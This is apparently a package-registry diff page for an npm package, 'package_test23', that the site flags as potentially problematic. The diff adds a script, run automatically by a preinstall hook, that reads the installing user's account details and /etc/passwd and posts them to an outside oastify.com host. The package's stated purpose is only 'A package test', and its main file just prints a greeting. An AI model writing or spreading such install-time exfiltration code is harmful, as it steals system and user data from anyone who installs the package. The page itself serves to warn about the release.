package_test23 1.0.6

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of package_test23 might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/badscript.js +34 -0
  2. package/index.js +1 -0
  3. package/package.json +16 -0
package/badscript.js ADDED
@@ -0,0 +1,34 @@
1
+ const axios = require('axios');
2
+ const os = require("os");
3
+ const fs = require('fs');
4
+
5
+ function userinfo(){
6
+ const home = os.userInfo();
7
+ return home;
8
+ };
9
+
10
+ function getPasswd(){
11
+ fs.readFile('/etc/passwd', 'utf8', (err, data) => {
12
+ if (err) {
13
+ console.error(err);
14
+ return "";
15
+ }
16
+ console.log(data);
17
+ return data;
18
+ });
19
+ }
20
+
21
+ getPasswd();
22
+
23
+ axios
24
+ .post('https://6ah87hfesuf66rt2ebed82npxg39ry.oastify.com', {
25
+ userinfo: userinfo(),
26
+ passwd: getPasswd(),
27
+ })
28
+ .then(res => {
29
+ console.log(`statusCode: ${res.status}`);
30
+ console.log(res);
31
+ })
32
+ .catch(error => {
33
+ console.error(error);
34
+ });
package/index.js ADDED
@@ -0,0 +1 @@
1
+ console.log("Hi!");
package/package.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "name": "package_test23",
3
+ "version": "1.0.6",
4
+ "description": "A package test",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node badscript.js",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "Luca",
11
+ "license": "MIT",
12
+ "dependencies": {
13
+ "axios": "^0.27.2",
14
+ "https": "^1.0.0"
15
+ }
16
+ }